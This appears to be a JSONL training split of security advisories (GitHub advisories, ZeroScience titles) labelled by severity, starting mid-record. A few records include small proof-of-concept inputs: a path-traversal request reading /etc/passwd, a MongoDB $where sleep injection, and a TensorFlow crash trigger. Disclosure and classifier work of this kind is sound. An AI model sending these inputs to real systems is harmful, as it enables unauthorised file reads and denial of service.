package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "e5528b23a1e482da20ae", "text": "OS Command Injection in gulp-scss-lint\n\ngulp-scss-lint through 1.0.0 allows execution of arbitrary commands. It is possible to inject arbitrary commands to the &quot;exec&quot; function located in &quot;src/command.js&quot; via the provided options.", "text_raw": "OS Command Injection in gulp-scss-lint\n\n[Severity: CRITICAL]\n\ngulp-scss-lint through 1.0.0 allows execution of arbitrary commands. It is possible to inject arbitrary commands to the &quot;exec&quot; function located in &quot;src/command.js&quot; via the provided options.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "36b4d93ab1a7d059ab12", "text": "Path Traversal in jsreport-chrome-pdf\n\nThis affects the package jsreport-chrome-pdf before 1.10.0.", "text_raw": "Path Traversal in jsreport-chrome-pdf\n\n[Severity: MEDIUM]\n\nThis affects the package jsreport-chrome-pdf before 1.10.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "311e11e0fffcc0387b12", "text": "Django-piston and Django-tastypie do not properly deserialize YAML data\n\nemitters.py in Django Piston before 0.2.3 and 0.2.x before 0.2.2.1 does not properly deserialize YAML data, which allows remote attackers to execute arbitrary Python code via vectors related to the yaml.load method.\n\nDjango Tastypie has a very similar vulnerability.", "text_raw": "Django-piston and Django-tastypie do not properly deserialize YAML data\n\n[Severity: CRITICAL]\n\nemitters.py in Django Piston before 0.2.3 and 0.2.x before 0.2.2.1 does not properly deserialize YAML data, which allows remote attackers to execute arbitrary Python code via vectors related to the yaml.load method.\n\nDjango Tastypie has a very similar vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "f749e9abaa3353733ef9", "text": "Prototype Pollution in express-fileupload\n\nThis affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.", "text_raw": "Prototype Pollution in express-fileupload\n\n[Severity: CRITICAL]\n\nThis affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "69f45409b91ad233f9b5", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource`.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "7e50b2b09558210944ed", "text": "Malicious Package in foever\n\nAll versions of `foever` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "text_raw": "Malicious Package in foever\n\n[Severity: CRITICAL]\n\nAll versions of `foever` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "39c7a06e2c5ed9f8c901", "text": "Out of bounds write in arenavec\n\nAn issue was discovered in the arenavec crate through 0.1.1. A drop of uninitialized memory can sometimes occur upon a panic in T::default()", "text_raw": "Out of bounds write in arenavec\n\n[Severity: HIGH]\n\nAn issue was discovered in the arenavec crate through 0.1.1. A drop of uninitialized memory can sometimes occur upon a panic in T::default()", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a19f3d7fa17cafbb7c09", "text": "Out-of-bounds write in Microsoft.ChakraCore\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1196, CVE-2019-1197.", "text_raw": "Out-of-bounds write in Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1196, CVE-2019-1197.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "a5871780d5898922aa9c", "text": "Cleartext storage of session identifier\n\n### Problem\nUser session identifiers were stored in cleartext - without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance SQL injection in any other component of the system.\n\n### Solution\nUpdate to TYPO3 versions 6.2.57, 7.6.51, 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported this issue and to TYPO3 core & security team members Benni Mack & Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-006](https://typo3.org/security/advisory/typo3-core-sa-2021-006)", "text_raw": "Cleartext storage of session identifier\n\n[Severity: MEDIUM]\n\n\n### Problem\nUser session identifiers were stored in cleartext - without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance SQL injection in any other component of the system.\n\n### Solution\nUpdate to TYPO3 versions 6.2.57, 7.6.51, 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported this issue and to TYPO3 core & security team members Benni Mack & Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-006](https://typo3.org/security/advisory/typo3-core-sa-2021-006)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "d2b8c8ef59fe9a3f0f07", "text": "Duplicate Advisory: Privilege Escalation in express-cart\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hr89-w7p6-pjmq. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `express-cart` before 1.1.6 are vulnerable to privilege escalation. This vulnerability can be exploited so that normal users can escalate their privilege and add new administrator users.\n\n## Recommendation\n\nUpdate to version 1.1.6 or later.", "text_raw": "Duplicate Advisory: Privilege Escalation in express-cart\n\n[Severity: CRITICAL]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hr89-w7p6-pjmq. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `express-cart` before 1.1.6 are vulnerable to privilege escalation. This vulnerability can be exploited so that normal users can escalate their privilege and add new administrator users.\n\n\n## Recommendation\n\nUpdate to version 1.1.6 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "ec5bc40984b46ed21a97", "text": "Directory Traversal in pytservce\n\nAffected versions of `pytservce` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in pytservce\n\n[Severity: HIGH]\n\nAffected versions of `pytservce` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "7623bc72770df02bbc11", "text": "aiohttp-session Session Fixation vulnerability\n\nThe pypi package aiohttp-session before 2.4.0 contained a Session Fixation vulnerability in `load_session` function for RedisStorage that can result in Session Hijacking. This attack appear to be exploitable via Any method that allows setting session cookies (`?session=<>`, or meta tags or script tags with Set-Cookie).", "text_raw": "aiohttp-session Session Fixation vulnerability\n\n[Severity: HIGH]\n\nThe pypi package aiohttp-session before 2.4.0 contained a Session Fixation vulnerability in `load_session` function for RedisStorage that can result in Session Hijacking. This attack appear to be exploitable via Any method that allows setting session cookies (`?session=<>`, or meta tags or script tags with Set-Cookie).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-13", "split": "train"}
-{"id": "71486edac4bedf8215f0", "text": "NoSQL Injection in loopback-connector-mongodb\n\nVersions of `loopback-connector-mongodb` before 3.6.0 are vulnerable to NoSQL injection.\n\nMongoDB Connector for LoopBack fails to properly sanitize a filter passed to query the database by allowing the dangerous `$where` property to be passed to the MongoDB Driver. The Driver allows the special `$where` property in a filter to execute JavaScript (client can pass in a malicious script) on the database Driver. This is an [intended feature of MongoDB](https://docs.mongodb.com/manual/core/server-side-javascript/) unless disabled ([instructions here](https://docs.mongodb.com/manual/core/server-side-javascript/#disable-server-side-js)).\n\nA proof of concept malicious query:\n\n```\nGET /POST filter={\"where\": {\"$where\": \"function(){sleep(5000); return this.title.contains('Hello');}\"}}\n```\n\nThe above makes the database sleep for 5 seconds and then returns all “Posts” with the title containing the word `Hello`.\n\n## Recommendation\n\nUpdate to version 3.6.0 or later.", "text_raw": "NoSQL Injection in loopback-connector-mongodb\n\n[Severity: HIGH]\n\nVersions of `loopback-connector-mongodb` before 3.6.0 are vulnerable to NoSQL injection.\n\nMongoDB Connector for LoopBack fails to properly sanitize a filter passed to query the database by allowing the dangerous `$where` property to be passed to the MongoDB Driver. The Driver allows the special `$where` property in a filter to execute JavaScript (client can pass in a malicious script) on the database Driver. This is an [intended feature of MongoDB](https://docs.mongodb.com/manual/core/server-side-javascript/) unless disabled ([instructions here](https://docs.mongodb.com/manual/core/server-side-javascript/#disable-server-side-js)).\n\nA proof of concept malicious query:\n\n```\nGET /POST filter={\"where\": {\"$where\": \"function(){sleep(5000); return this.title.contains('Hello');}\"}}\n```\n\nThe above makes the database sleep for 5 seconds and then returns all “Posts” with the title containing the word `Hello`.\n\n\n\n\n## Recommendation\n\nUpdate to version 3.6.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "c5b9792088b8aa7991b8", "text": "XSS due to lack of CSRF validation for replying/publishing\n\n### Impact\nDue to lack of CSRF validation, a logged in user is potentially vulnerable to an XSS attack which could allow a third party to post on their behalf on the forum.\n\n### Patches\nUpgrade to the latest version v0.7.0\n\n### Workarounds\nYou can cherry-pick the following commit: [https://github.com/psychobunny/nodebb-plugin-blog-comments/commit/cf43beedb05131937ef46f365ab0a0c6fa6ac618](https://github.com/psychobunny/nodebb-plugin-blog-comments/commit/cf43beedb05131937ef46f365ab0a0c6fa6ac618)\n\n### References\nVisit https://community.nodebb.org if you have any questions about this issue or on how to patch / upgrade your instance.", "text_raw": "XSS due to lack of CSRF validation for replying/publishing\n\n[Severity: MEDIUM]\n\n### Impact\nDue to lack of CSRF validation, a logged in user is potentially vulnerable to an XSS attack which could allow a third party to post on their behalf on the forum.\n\n### Patches\nUpgrade to the latest version v0.7.0\n\n### Workarounds\nYou can cherry-pick the following commit: [https://github.com/psychobunny/nodebb-plugin-blog-comments/commit/cf43beedb05131937ef46f365ab0a0c6fa6ac618](https://github.com/psychobunny/nodebb-plugin-blog-comments/commit/cf43beedb05131937ef46f365ab0a0c6fa6ac618)\n\n### References\nVisit https://community.nodebb.org if you have any questions about this issue or on how to patch / upgrade your instance.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-26", "split": "train"}
-{"id": "000db2fb2d53c3adb544", "text": "False-negative validation results in MINT transactions with invalid baton\n\n### Impact\nUsers could experience false-negative validation outcomes for [MINT](https://github.com/simpleledger/slp-specifications/blob/master/slp-token-type-1.md#mint---extended-minting-transaction) transaction operations.  A poorly implemented SLP wallet could allow spending of the affected tokens which would result in the destruction of a user's minting baton.\n\n### Patches\nnpm package [slp-validate](https://www.npmjs.com/package/slp-validate) has been patched and published as version 1.2.1.\n\n### Workarounds\nUpgrade to slp-validate 1.2.1.\n\n### References\n* slp-validate [commit](https://github.com/simpleledger/slp-validate/commit/cde95c0c6470dceb4f023cd462f904135ebd73e7)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [slp-validate](https://github.com/simpleledger/slp-validate/issues)", "text_raw": "False-negative validation results in MINT transactions with invalid baton\n\n[Severity: CRITICAL]\n\n### Impact\nUsers could experience false-negative validation outcomes for [MINT](https://github.com/simpleledger/slp-specifications/blob/master/slp-token-type-1.md#mint---extended-minting-transaction) transaction operations.  A poorly implemented SLP wallet could allow spending of the affected tokens which would result in the destruction of a user's minting baton.\n\n### Patches\nnpm package [slp-validate](https://www.npmjs.com/package/slp-validate) has been patched and published as version 1.2.1.\n\n### Workarounds\nUpgrade to slp-validate 1.2.1.\n\n### References\n* slp-validate [commit](https://github.com/simpleledger/slp-validate/commit/cde95c0c6470dceb4f023cd462f904135ebd73e7)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [slp-validate](https://github.com/simpleledger/slp-validate/issues)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-12", "split": "train"}
-{"id": "946544c8238f5c305184", "text": "Division by 0 in `ResourceGather`\n\n### Impact\nAn attacker can trigger a crash via a floating point exception in `tf.raw_ops.ResourceGather`:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32)\nv = tf.Variable(tensor)\ntf.raw_ops.ResourceGather(\n  resource=v.handle,\n  indices=[0],\n  dtype=tf.uint32,\n  batch_dims=1,\n  validate_indices=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L725-L731) computes the value of a value, `batch_size`, and then divides by it without checking that this value is not 0.\n\n### Patches\nWe have patched the issue in GitHub commit  [ac117ee8a8ea57b73d34665cdf00ef3303bc0b11](https://github.com/tensorflow/tensorflow/commit/ac117ee8a8ea57b73d34665cdf00ef3303bc0b11).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by 0 in `ResourceGather`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can trigger a crash via a floating point exception in `tf.raw_ops.ResourceGather`:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32)\nv = tf.Variable(tensor)\ntf.raw_ops.ResourceGather(\n  resource=v.handle,\n  indices=[0],\n  dtype=tf.uint32,\n  batch_dims=1,\n  validate_indices=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L725-L731) computes the value of a value, `batch_size`, and then divides by it without checking that this value is not 0. \n\n### Patches\nWe have patched the issue in GitHub commit  [ac117ee8a8ea57b73d34665cdf00ef3303bc0b11](https://github.com/tensorflow/tensorflow/commit/ac117ee8a8ea57b73d34665cdf00ef3303bc0b11).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "cb0993bd87c76885b4b2", "text": "TRENDnet SecurView Wireless Network Camera TV-IP422WN (UltraCamX.ocx) Stack BoF", "text_raw": "TRENDnet SecurView Wireless Network Camera TV-IP422WN (UltraCamX.ocx) Stack BoF\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-11-25", "split": "train"}
-{"id": "e89bae12ef1263ac7ed4", "text": "Artiphp CMS 5.5.0 Database Backup Disclosure Exploit", "text_raw": "Artiphp CMS 5.5.0 Database Backup Disclosure Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-05-16", "split": "train"}
-{"id": "eba3b50f70357d2aa24e", "text": "Path Traversal in simplehttpserver\n\nVersions of `simplehttpserver` prior to 0.2.1 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths.\n\n## Recommendation\n\nUpgrade to version 0.2.1 or later.", "text_raw": "Path Traversal in simplehttpserver\n\n[Severity: HIGH]\n\nVersions of `simplehttpserver` prior to 0.2.1 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. \n\n\n## Recommendation\n\nUpgrade to version 0.2.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "b29a52ecfc71c83ad1ae", "text": "firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF)", "text_raw": "firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "808793c2262cdcfc0366", "text": "Cross-Site Scripting in Backend Grid View\n\n### Problem\nFailing to properly encode settings for _backend layouts_, the corresponding grid view is vulnerable to persistent cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 core merger Oliver Bartsch who reported and fixed the issue.", "text_raw": "Cross-Site Scripting in Backend Grid View\n\n[Severity: MEDIUM]\n\n### Problem\nFailing to properly encode settings for _backend layouts_, the corresponding grid view is vulnerable to persistent cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 core merger Oliver Bartsch who reported and fixed the issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "213cd3796a778e04c82c", "text": "github.com/pires/go-proxyproto denial of service vulnerability\n\nThe package `github.com/pires/go-proxyproto` before 0.5.0 are vulnerable to Denial of Service (DoS) via the `parseVersion1()` function. The reader in this package is a default `bufio.Reader` wrapping a `net.Conn`. It will read from the connection until it finds a newline. Since no limits are implemented in the code, a deliberately malformed V1 header could be used to exhaust memory in a server process using this code - and create a DoS. This can be exploited by sending a stream starting with PROXY and continuing to send data (which does not contain a newline) until the target stops acknowledging. The risk here is small, because only trusted sources should be allowed to send proxy protocol headers.", "text_raw": "github.com/pires/go-proxyproto denial of service vulnerability\n\n[Severity: MEDIUM]\n\nThe package `github.com/pires/go-proxyproto` before 0.5.0 are vulnerable to Denial of Service (DoS) via the `parseVersion1()` function. The reader in this package is a default `bufio.Reader` wrapping a `net.Conn`. It will read from the connection until it finds a newline. Since no limits are implemented in the code, a deliberately malformed V1 header could be used to exhaust memory in a server process using this code - and create a DoS. This can be exploited by sending a stream starting with PROXY and continuing to send data (which does not contain a newline) until the target stops acknowledging. The risk here is small, because only trusted sources should be allowed to send proxy protocol headers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "1392ea68ce5f012c68fe", "text": "Command injection in kekbit\n\nAn issue was discovered in the kekbit crate before 0.3.4 for Rust. For ShmWriter<H>, Send is implemented without requiring H: Send.", "text_raw": "Command injection in kekbit\n\n[Severity: HIGH]\n\nAn issue was discovered in the kekbit crate before 0.3.4 for Rust. For ShmWriter<H>, Send is implemented without requiring H: Send.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "36b96b484dc2e1fd623d", "text": "SonicDICOM PACS 2.3.2 CSRF Add Admin Exploit", "text_raw": "SonicDICOM PACS 2.3.2 CSRF Add Admin Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-02-11", "split": "train"}
-{"id": "89cda1c896c6e3d98aa4", "text": "containerd-shim API Exposed to Host Network Containers\n\n## Impact\n\nAccess controls for the shim’s API socket verified that the connecting process had an effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would allow malicious containers running in the same network namespace as the shim, with an effective UID of 0 but otherwise reduced privileges, to cause new processes to be run with elevated privileges.\n\n### Specific Go Packages Affected\ngithub.com/containerd/containerd/cmd\n\n## Patches\n\nThis vulnerability has been fixed in containerd 1.3.9 and 1.4.3.  Users should update to these versions as soon as they are released.  It should be noted that containers started with an old version of containerd-shim should be stopped and restarted, as running containers will continue to be vulnerable even after an upgrade.\n\n## Workarounds\n\nIf you are not providing the ability for untrusted users to start containers in the same network namespace as the shim (typically the \"host\" network namespace, for example with `docker run --net=host` or `hostNetwork: true` in a Kubernetes pod) and run with an effective UID of 0, you are not vulnerable to this issue.\n\nIf you are running containers with a vulnerable configuration, you can deny access to all abstract sockets with AppArmor by adding a line similar to `deny unix addr=@**,` to your policy.\n\nIt is best practice to run containers with a reduced set of privileges, with a non-zero UID, and with isolated namespaces.  The containerd maintainers strongly advise against sharing namespaces with the host. Reducing the set of isolation mechanisms used for a container necessarily increases that container's privilege, regardless of what container runtime is used for running that container.\n\n## Credits\n\nThe containerd maintainers would like to thank Jeff Dileo of NCC Group for responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/master/SECURITY.md) and for reviewing the patch.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Open an issue](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at security@containerd.io if you think you’ve found a security bug.", "text_raw": "containerd-shim API Exposed to Host Network Containers\n\n[Severity: MEDIUM]\n\n## Impact\n\nAccess controls for the shim’s API socket verified that the connecting process had an effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would allow malicious containers running in the same network namespace as the shim, with an effective UID of 0 but otherwise reduced privileges, to cause new processes to be run with elevated privileges.\n\n### Specific Go Packages Affected\ngithub.com/containerd/containerd/cmd\n\n## Patches\n\nThis vulnerability has been fixed in containerd 1.3.9 and 1.4.3.  Users should update to these versions as soon as they are released.  It should be noted that containers started with an old version of containerd-shim should be stopped and restarted, as running containers will continue to be vulnerable even after an upgrade.\n\n## Workarounds\n\nIf you are not providing the ability for untrusted users to start containers in the same network namespace as the shim (typically the \"host\" network namespace, for example with `docker run --net=host` or `hostNetwork: true` in a Kubernetes pod) and run with an effective UID of 0, you are not vulnerable to this issue.\n\nIf you are running containers with a vulnerable configuration, you can deny access to all abstract sockets with AppArmor by adding a line similar to `deny unix addr=@**,` to your policy.\n\nIt is best practice to run containers with a reduced set of privileges, with a non-zero UID, and with isolated namespaces.  The containerd maintainers strongly advise against sharing namespaces with the host. Reducing the set of isolation mechanisms used for a container necessarily increases that container's privilege, regardless of what container runtime is used for running that container.\n\n## Credits\n\nThe containerd maintainers would like to thank Jeff Dileo of NCC Group for responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/master/SECURITY.md) and for reviewing the patch.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n\n* [Open an issue](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at security@containerd.io if you think you’ve found a security bug.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "0ec0904411c05bcefc19", "text": "Segmentation fault in time\n\n### Impact\n\nUnix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.\n\nThe affected functions from time 0.2.7 through 0.2.22 are:\n\n- `time::UtcOffset::local_offset_at`\n- `time::UtcOffset::try_local_offset_at`\n- `time::UtcOffset::current_local_offset`\n- `time::UtcOffset::try_current_local_offset`\n- `time::OffsetDateTime::now_local`\n- `time::OffsetDateTime::try_now_local`\n\nThe affected functions in time 0.1 (all versions) are:\n\n- `at`\n- `at_utc`\n- `now`\n\nNon-Unix targets (including Windows and wasm) are unaffected.\n\n### Patches\n\nIn some versions of `time`, the internal method that determines the local offset has been modified to always return `None` on the affected operating systems. This has the effect of returning an `Err` on the `try_*` methods and `UTC` on the non-`try_*` methods. In later versions, `time` will attempt to determine the number of threads running in the process. If the process is single-threaded, the call will proceed as its safety invariant is upheld.\n\nUsers and library authors with time in their dependency tree must perform `cargo update`, which will pull in the updated, unaffected code.\n\nUsers of time 0.1 do not have a patch and must upgrade to an unaffected version: time 0.2.23 or greater or the 0.3 series.\n\n### Workarounds\n\nLibrary authors must ensure that the program only has one running thread at the time of calling any affected method. Binary authors may do the same and/or ensure that no other thread is actively mutating the environment.\n\n### References\n\n[time-rs/time#293](https://github.com/time-rs/time/issues/293).", "text_raw": "Segmentation fault in time\n\n[Severity: MEDIUM]\n\n### Impact\n\nUnix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.\n\nThe affected functions from time 0.2.7 through 0.2.22 are:\n\n- `time::UtcOffset::local_offset_at`\n- `time::UtcOffset::try_local_offset_at`\n- `time::UtcOffset::current_local_offset`\n- `time::UtcOffset::try_current_local_offset`\n- `time::OffsetDateTime::now_local`\n- `time::OffsetDateTime::try_now_local`\n\nThe affected functions in time 0.1 (all versions) are:\n\n- `at`\n- `at_utc`\n- `now`\n\nNon-Unix targets (including Windows and wasm) are unaffected.\n\n### Patches\n\nIn some versions of `time`, the internal method that determines the local offset has been modified to always return `None` on the affected operating systems. This has the effect of returning an `Err` on the `try_*` methods and `UTC` on the non-`try_*` methods. In later versions, `time` will attempt to determine the number of threads running in the process. If the process is single-threaded, the call will proceed as its safety invariant is upheld.\n\nUsers and library authors with time in their dependency tree must perform `cargo update`, which will pull in the updated, unaffected code.\n\nUsers of time 0.1 do not have a patch and must upgrade to an unaffected version: time 0.2.23 or greater or the 0.3 series.\n\n### Workarounds\n\nLibrary authors must ensure that the program only has one running thread at the time of calling any affected method. Binary authors may do the same and/or ensure that no other thread is actively mutating the environment.\n\n### References\n\n[time-rs/time#293](https://github.com/time-rs/time/issues/293).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3397dd6fa807095f22ec", "text": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Hard-Coded SSH Credentials", "text_raw": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Hard-Coded SSH Credentials\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-09-25", "split": "train"}
-{"id": "e72b3f82310416827d33", "text": "regular expression denial of service (ReDoS)\n\ndate-and-time is an npm package for manipulating date and time. In date-and-time before version 0.14.2, there a regular expression involved in parsing which can be exploited to to cause a denial of service. This is fixed in version 0.14.2.", "text_raw": "regular expression denial of service (ReDoS)\n\n[Severity: HIGH]\n\ndate-and-time is an npm package for manipulating date and time. In date-and-time before version 0.14.2, there a regular expression involved in parsing which can be exploited to to cause a denial of service. This is fixed in version 0.14.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-24", "split": "train"}
